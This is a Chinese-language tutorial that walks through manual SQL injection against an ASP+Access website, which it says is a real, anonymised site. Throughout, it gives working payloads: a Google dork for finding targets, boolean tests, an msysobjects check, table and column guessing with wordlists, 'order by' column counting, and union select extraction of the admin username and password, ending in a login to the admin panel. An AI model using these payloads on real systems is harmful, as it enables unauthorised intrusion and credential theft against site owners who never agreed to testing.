为了讲究学以致用,本文章将以实际的网站进行手工注入ASP+Access
演示,同时也会为演示的网站做保密,屏蔽网站相关信息。
目标网站URL
格式为:http://www.xxx.com/view.asp?id=2
使用谷歌搜索引擎输入
inurl:asp?id=N # N用数字代替
注意:无法使用谷歌搜索引擎的,可以在火狐浏览器中安装一个谷歌上网助手即可解决。
谷歌搜索出来的结果并不都是我们想要的,需要择优选择进行测试
找到符合的ASP
网站时,我们需要判断是否存在注入点。
判断方法:
先用引号判断注入,然后再在目标网站的URL
后加上 and 1 = 1
网站正常并且 and 1 = 2
网站错误时, 则说明该点存在注入。
http://www.xxx.com/view.asp?id=2' # 错误回显
http://www.xxx.com/view.asp?id=2 and 1 = 1 # 正常回显
http://www.xxx.com/view.asp?id=2 and 1 = 2 # 错误回显
Access
和MSSQL
都有自己的系统表,比如存放数据库中所有对象的表:Access
是在系统表 msysobjects
中,但在WEB
环境下读取该表会提示没有权限;MSSQL
是在 sysobjects
中,在WEB
环境下可正常读取。
判断方法1: 在网站的URL
后输入 ';
错误回显,则说明是Access
数据库。
判断方法2: 在网站的URL
后输入 and (select count(*) from msysobjects)>0
,返回结果是没有读取权限,则说明是Access
数据库。
http://www.xxx.com/view.asp?id=2 and (select count(*) from msysobjects)>0
如果知道目标网站的开源源码,可以下载到本地,直接查看Access
数据库对应的表即可;若没有,则需要自己猜解。
猜解时在网站的URL
后加 and exists (select * from 猜测的表名)
,若网页返回正常,则说明该表存在,反之则不存在。以猜表名为admin
为例,如此循环,一直猜到表名为止。
http://www.xxx.com/view.asp?id=2 and exists (select * from admin)
经过测试,猜测表名为admin
时,网页返回结果正常,说明存在admin
表。
常用的表名:admin、user、news、manage、a_admin、x_admin、m_admin、m_admin、adminuser、admin_user、article_admin、administrator、manager、member、memberlist、users、Manage_User、user_info、admin_userinfo、login new 等等
知道存在admin
表后,接下来就是猜账号和密码字段名。
猜解时在网站的URL
后加 and exists (select 猜测的字段名 from admin)
,若网页返回正常,则说明该字段名存在,反之则不存在。以猜字段名为admin_name
为例,如此循环,一直猜到字段名为止。
http://www.xxx.com/view.asp?id=2 and exists (select admin_name from admin)
经过测试,存在admin_name
字段名。
常用的字段名:username、password、id、adminusername、admin_username、adminname、admin_name、admin、adminuser、admin_user、user_name、user_admin、administrator、administrators、adminpassword、admin_pwd、adminpass、user_pass、admin_passwd、admin_password等等
猜解时在网站的URL
后加 order by N
(N代表自然数),N
的值从小到大逐一增加,若网页返回正常,则说明N
的值小于或等于实际字段数;N
的值一直增加到页面报错为止,说明实际的字段数为N-1
。
http://www.xxx.com/view.asp?id=2 order by 6 # 正常回显
http://www.xxx.com/view.asp?id=2 order by 7 # 错误回显
经测试,N
为6
时正常回显,N
为7
是错误回显,说明实际字段数为6
。
使用union select 1,2,3,4,5,6 from admin
测试数据在网页中回显的位置
经测试网页在3
位置处回显了结果,于是在3
的位置改为我们要查询的字段名admin_name
。
http://www.xxx.com/view.asp?id=2 union select 1,2,admin_name,4,5,6 from admin
经测试,页面返回了结果a
,只有一个字母
为了验证结果的准确性,查询下该字段名admin_name
的字段值长度
http://www.xxx.com/view.asp?id=2 union select 1,2,len(admin_name),4,5,6 from admin
经测试,该字段值长度确实为1
,即a
就是admin_name
的值
同理,经过测试,最终得到该账号的密码也是a
。
对于网站的后台,可以使用御剑后台扫描工具或者其他类似工具进行查找。
这个网站的后台很简单,是最常见的 www.xxx.com/admin/login.asp
格式
最后,输入账号密码登录成功。